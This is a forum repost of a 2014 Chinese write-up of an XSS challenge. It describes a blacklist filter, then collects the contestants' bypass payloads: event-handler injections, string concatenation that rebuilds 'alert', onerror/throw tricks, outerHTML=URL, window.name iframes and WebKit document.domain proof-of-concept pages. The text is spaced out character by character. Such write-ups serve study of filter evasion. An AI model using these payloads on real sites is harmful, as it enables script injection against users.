搜索

[7769] 2014-01-26_XSS挑战第一期Writeup

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-17
2014-01-26_XSS挑战第一期Writeup X S S 挑 战 第 一 期 W r i t e u p 0 x 4 d   F r e e B u f   2 0 1 4 - 0 1 - 2 6 0 × 0 0 起 因 起 因         这 期 X S S 挑 战 的 起 因 是 在 阅 读 “ M o d e r n   W e b   A p p l i c a t i o n   F i r e w a l l s   F i n g e r p r i n t i n g   a n d   B y p a s s i n g   X S S   F i l t e r s ” 过 后 ， 在 其 中 发 现 了 一 个 很 有 趣 的 话 题 。 那 就 是 在 圆 括 号 被 过 滤 的 情 况 下 ， 如 何 去 执 行 j a v a s c r i p t 。 测 在 文 中 笔 者 给 出 来 了 这 样 的 解 决 方 案 ： < a   o n m o u s e o v e r = " j a v a s c r i p t : w i n d o w . o n e r r o r = a l e r t ; t h r o w   1 >     这 是 一 个 通 过 抛 出 异 常 的 方 式 来 执 行 a l e r t ( ) 的 方 案 。 那 么 , 还 有 没 有 别 的 办 法 可 以 让 我 们 在 没 有 圆 括 号 的 情 况 下 执 行 J a v a s c r i p t 呢 ？ 众 神 们 经 常 说 ， 没 有 具 体 环 境 的 讨 论 是 没 有 意 义 的 。 所 以 我 就 花 了 一 点 时 间 ， 编 写 了 一 个 基 于 黑 名 单 的 X S S 防 御 代 码 。 也 就 有 了 我 们 这 次 的 挑 战 。 0 × 0 1 设 定 设 定     为 了 增 加 一 点 挑 战 的 难 度 ， 根 据 一 些 较 常 见 的 X S S 防 御 代 码 ， 对 本 次 挑 战 进 行 了 下 列 设 定 ：     过 滤 ：   (   ,   )   ,   &   ,     ,   <   ,   >   ,   '   ,   % 2 8 ,     % 2 9   ,   空 格 + o n   ,   a l e r t   ,   d a t a     ,   s r c   ,   e v a l   ,   u n e s c a p e       过 滤 ：     i n n e r H T M L   ,   d o c u m e n t   ,   a p p e n d C h i l d   ,   c r e a t e E l e m e n t   ,   w r i t e   ,   S t r i n g   ,   s e t T i m e o u t   当 然 ， 为 了 保 证 更 多 人 可 以 参 与 进 来 ， 我 并 没 有 对 最 前 面 给 出 的 答 案 进 行 过 滤 。 x s s 挑 战 的 测 试 地 址 挑 战 的 测 试 地 址   h t t p : / / 1 3 3 . 5 2 . 2 4 0 . 7 5 0 × 0 2 结 果 结 果 在 挑 战 开 始 不 到 三 个 小 时 的 时 间 里 ， g a i n o v e r 拿 下 了 这 次 挑 战 的 F i r s t   B l o o d 。 " o n b l u r = a = " % 2 " , l o c a t i o n = " j a v a s c r i p t : a l e r " + " t " + a + " 8 1 " + a + " 9     巧 妙 的 使 用 定 义 变 量 的 方 式 ， 重 新 拆 装 了 U R L 编 码 分 别 为 : % 2 8 和 % 2 9 的 左 右 圆 括 号 ， 进 而 绕 过 了 我 们 的 限 制 。 随 后 又 放 弃 了 定 义 变 量 的 方 式 ， 而 直 接 选 择 了 通 过 连 接 字 符 串 的 方 式 来 缩 减 p a y l o a d 的 长 度 。 " o n b l u r = l o c a t i o n = " j a v a s c r i p t : a l e r " + " t % 2 " + " 8 1 % 2 " + " 9     紧 随 其 后 ， 又 有 第 二 位 挑 战 成 功 者 p x 1 6 2 4 ， 使 用 了 和 g a i n o n v e r 类 似 的 方 式 ， 绕 过 了 我 们 的 过 滤 规 则 。 当 然 ， 从 上 面 的 例 子 当 中 我 们 不 难 看 出 ， 此 处 的 h r e f 是 可 以 省 略 来 简 短 长 度 的 。 " o n b l u r = l o c a t i o n . h r e f = " J A v a s c r i p t : a l e " + " r t % 2 " + " 8 1 % 2 " + " 9     之 后 我 们 又 从 g a i n v e r 收 到 了 另 一 种 绕 过 方 式 。
" o n b l u r = t o p . o n e r r o r = t o p [ " a l e " + " r t " ] ; t h r o w " 1     看 上 去 和 我 们 预 留 的 答 案 大 相 径 庭 ， 但 是 也 有 它 有 趣 的 一 部 分 。 因 为 提 交 者 在 这 里 并 没 有 使 用 较 长 的 w i n d o w 而 是 使 用 了 t o p , 当 然 作 为 其 它 选 项 也 可 以 使 用 p a r e n t 或 s e l f 。 但 是 很 明 显 t o p 是 最 短 的 。 如 果 不 考 虑 触 发 难 易 性 ， 也 许 我 们 可 以 把 第 一 个 o n b l u r 换 成 o n c u t , 把 第 二 个 o n e r r o r 换 成 o n b l u r 来 进 一 步 节 约 两 个 字 节 。 （ 当 然 ， 我 并 不 认 为 在 任 何 情 况 下 ， 短 的 就 是 好 的 。 ） 在 C h r o m e 下 先 在 i n p u t 里 面 按 一 次 c t r l + x ， 在 通 过 点 击 地 址 栏 或 其 它 t a b 即 可 触 发 。     正 在 思 考 这 个 t o p 的 问 题 时 , g a i n o v e r 又 寄 来 了 一 种 更 有 趣 的 绕 过 方 式 。 " o n b l u r = o u t e r H T M L = U R L / / # < i m g / s r c = 1   o n e r r o r = a l e r t ( 1 ) >     可 能 有 些 人 看 完 之 后 会 觉 得 是 不 是 变 长 了 呢 ？ 实 际 上 # 后 面 的 部 分 是 不 会 被 算 在 Q u e r y S t r i n g 里 面 的 。 所 以 这 里 的 实 际 长 度 只 有 2 3 。 提 交 者 巧 妙 的 使 用 o u t e r H T M L 的 方 式 将 整 个 U R L 都 写 入 到 了 D O M 。 但 是 在 这 里 不 得 不 提 的 是 ， 浏 览 器 差 异 问 题 。 虽 然 在 I n t e r n e t   E x p l o r e r （ I E 8 下 测 试 ） 和 C h r o m e （ 最 新 版 本 ） 当 中 ， 这 种 方 法 都 可 以 直 接 把 U R L 写 到 D O M 中 ， 但 是 F i r e f o x 会 将 U R L 编 码 过 的 内 容 写 入 到 D O M 中 ， 导 致 无 法 完 成 H T M L 注 入 。 所 以 在 实 际 的 操 作 过 程 中 ， 如 果 条 件 允 许 的 话 ， 可 能 需 要 我 们 调 用 一 些 可 以 对 U R L 进 行 解 码 的 J S 函 数 ， 先 对 U R L 进 行 一 次 解 码 再 写 入 到 D O M 中 ， 进 而 提 高 p a y l o a d 的 通 用 性 。 随 后 g a i n o v e r 又 再 一 次 通 过 空 格 来 代 替 注 释 符 （ / / ） ， 为 自 己 赢 得 了 更 短 的 代 码 。 " o n b l u r = o u t e r H T M L = U R L   # < i m g / s r c = 1   o n e r r o r = a l e r t ( 1 ) >     来 自 f a n g f e i   y a n g 的 答 案 ： " o n c u t = t o p . o n e r r o r % 3 D t o p [ " a l " + " e r t " ] ; t h r o w " 1     来 自 C h u 的 答 案 ：   < i f r a m e   s r c = " h t t p : / / x s s . z 7 y s . c o m / ? x s s = " o n b l u r = " l o c a t i o n = w i n d o w . n a m e & s u b m i t = 搜 索 "   n a m e = " j a v a s c r i p t : a l e r t ( 1 ) " > < / i f r a m e >     这 位 挑 战 者 通 过 w i n d o w . n a m e 实 现 了 i f r a m e 的 跨 域 ， 并 完 成 了 挑 战 。 类 似 的 方 法 还 有 U R L . h a s h   w i n d o w . p o s t M e s s a g e 等 等 。 在 后 续 出 来 类 似 的 答 案 时 将 不 在 重 复 写 i f r a m e 的 部 分 。 来 自 D u n 比 较 有 趣 的 答 案 ： " o n f o c u s = n e w % A 1 % A 1 w i n d o w [ " a l " + " e r t " ]     在 这 里 出 现 了 一 个 小 插 曲 ， 也 是 我 的 一 个 失 误 。 因 为 两 台 服 务 器 当 中 一 台 使 用 了 u t f - 8 编 码 ， 而 另 外 一 台 又 使 用 了 G B 2 3 1 2 编 码 。 这 位 挑 战 者 就 在 编 码 为 G B 2 3 1 2 的 页 面 用 了 全 角 空 格 （ % A 1 % A 1 ） 。 当 然 作 为 这 个 的 替 代 品 ， 还 有 % 0 B % 0 B 。 之 后 D u n 又 使 用 了 W e b k i t 的 B U G ， 再 次 缩 短 了 自 己 的 p a y l o a d 长 度 。 （ 因 为 w e b k i t 跨 域 B U G 的 细 节 在 很 多 地 方 都 可 以 找 到 ， 我 就 不 在 这 里 造 轮 子 了 。 ） 下 面 是 他 的 P O C : < s c r i p t >   v a r   d d = f a l s e ;   d o c u m e n t . d o m a i n = " " ;   < / s c r i p t >   < i f r a m e   i d = " x s s " s r c = " / / x s s . z 7 y s . c o m . / ? x s s = % 2 2 o n b l u r % 3 D d o m a i n % 3 D % 2 2 % 2 2 + & s u b m i t = % C B % D 1 % C B % F 7 " o n l o a d = " d d = t r u e ; " w i d t h = " 1 0 0 % " h e i g h t = " 1 0 0 % " o n m o u s e o v e r = " x s s a l e r t ( ) ; " > < / i f r a m e >   < s c r i p t >   f u n c t i o n   x s s a l e r t ( ) {   i f ( d d ) {   v a r   x s s i f r a m e = d o c u m e n t . g e t E l e m e n t B y I d ( " x s s " ) . c o n t e n t W i n d o w ;   x s s i f r a m e . d o c u m e n t . w r i t e ( " < s c r i p t > a l e r t ( 1 ) < / s c r i p t > " ) ;   } } ;   < / s c r i p t >
      S q l C o d e 的 答 案 ： " o n c u t = _ = w i n d o w ; _ . o n e r r o r = _ [ " a l " + " e r t " ] ; t h r o w [ 1 ]     L a i x 的 答 案 ： " o n c u t = l o c a t i o n = " j a v a s c r i p t : a l e r " + " t % " + " 2 8 1 % " + " 2 9     G a l a x y 的 答 案 ： " o n b l u r = j a v a s c r i p t : w i n d o w . o n b l u r = a l % 0 0 e r t ; t h r o w " 1     该 挑 战 者 使 用 绕 过 I E 8 / I E 9   f i l t e r 的 一 个 技 巧 ( % 0 0 ) , 完 成 了 挑 战 。     e 3 r p 4 y 的 答 案 ： " o n f o c u s = w i n d o w . o n b l u r = t o p [ " a l e r " % 2 b " t " ] ; t h r o w " 1       来 自 0 × 0 0 有 趣 的 答 案 : ( ) & x s s = " o n c l i c k = a = l o c a t i o n . s e a r c h ; l o c a t i o n . h r e f = " j a v a s c r i p t : a " + " l e r t " + a [ 1 ] + a [ 2 ] / /     把 ( ) 作 为 参 数 放 在 问 号 的 后 面 再 用 l o c a t i o n . s e a r c h 调 用 了 出 来 。 " o n c l i c k = a = l o c a t i o n ; b = a . h a s h ; a . h r e f = " j a v a s c r i p t : a " + " l e r t " + b [ 1 ] + b [ 2 ] / / " o n c l i c k = a = l o c a t i o n ; a . h r e f = " j a v a s c r i p t : / * " + a . h a s h / / # * / a l e r t ( ) " o n c l i c k = " l o c a t i o n . h r e f = w i n d o w . n a m e     来 自 l i t d g 的 答 案 : " / o n b l u r = w i n d o w . o n e r r o r = w i n d o w [ " a l e r " + " t " ] ; t h r o w + 1 / /     来 自 过 客 过 客 的 答 案 : " o n c l i c k = " l o c a t i o n = t o p . a . n a m e     最 后 附 上 本 次 挑 战 的 第 一 名 获 得 者 / f d 的 一 些 答 案 : < i f r a m e   n a m e = " j a v a s c r i p t : a l e r t ( 1 ) "   s r c = / / 1 3 3 . 5 2 . 2 4 0 . 7 5 / i n d e x . p h p ? x s s = " a u t o f o c u s / o n f o c u s = " l o c a t i o n = s e l f . n a m e > < / i f r a m e >     通 过 i f r a m e 的 s e l f . n a m e 实 现 了 跨 域 。 < i f r a m e   h e i g h t = 5 0 0   s r c = / / x s s . z 7 y s . c o m / i n d e x . p h p ? x s s = % 2 2 o n d r o p % 3 D d o m a i n % 3 D % 2 2 c o m > < / i f r a m e > < s c r i p t >     d o c u m
e n t . d o m a i n   =   ' c o m ' ;       s e t I n t e r v a l ( f u n c t i o n ( )   {         f r a m e s [ 0 ] . a l e r t   & &   f r a m e s [ 0 ] . a l e r t ( 1 ) ;     } , 1 0 0 ) < / s c r i p t >   w e b k i t 的 跨 域 B U G + 拖 拽 劫 持 （ 只 附 上 了 重 要 部 分 代 码 ， 效 果 见 上 图 ） 。 一 个 很 用 心 的 P O C 。 当 我 们 试 图 把 硬 币 投 入 下 面 的 黑 框 时 触 发 。 < i f r a m e   h e i g h t = 5 0 0   s r c = / / x s s . z 7 y s . c o m . / i n d e x . p h p ? x s s = % 2 2 o n c u t % 3 D d o m a i n % 3 D % 2 2 > < / i f r a m e > < s c r i p t >     d o c u m e n t . d o m a i n   =   ' ' ;       s e t I n t e r v a l ( f u n c t i o n ( )   {         f r a m e s [ 0 ] . a l e r t   & &   f r a m e s [ 0 ] . a l e r t ( 1 ) ;     } , 1 0 0 ) < / s c r i p t > 最 后 用 w e b k i t 的 跨 域 B U G   测 试 于 C h r o m i u m   3 1 . 0 . 1 6 5 0 . 8 ） 以 1 5 个 字 符 的 成 绩 终 结 了 比 赛 。 0 × 0 3 写 在 最 后 写 在 最 后       因 为 个 人 经 验 和 知 识 储 备 的 不 足 ， 可 能 在 挑 战 的 设 定 和 评 判 标 准 上 面 没 能 做 的 很 完 善 。 而 且 整 个 挑 战 也 似 乎 从 如 何 绕 过 圆 括 号 的 限 制 慢 慢 的 演 变 成 了 T h e   s h o r t   t a l k   o f   X S S 。 也 许 有 人 会 觉 得 这 是 造 轮 子 吧 。 但 是 我 相 信 在 参 与 的 过 程 当 中 ， 大 家 也 和 我 一 样 或 多 或 少 都 学 到 了 一 些 什 么 。 其 实 ， 在 编 写 这 篇 文 章 的 同 时 ， 我 和 我 的 小 伙 伴 们 ( L a i x ， 烟 花 兔 子 ， L i n e ) 花 费 心 思 又 搞 了 一 个 自 认 为 比 较 有 趣 的 X S S 挑 战 。 暂 时 就 将 它 称 作 为 X S S 挑 战   第 二 期 吧 。 希 望 到 时 候 大 家 也 能 来 玩 玩 ！ 最 后 ， 谢 谢 / f d , L i n E , 瞌 睡 龙 等 人 的 乌 云 币 赞 助 。 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理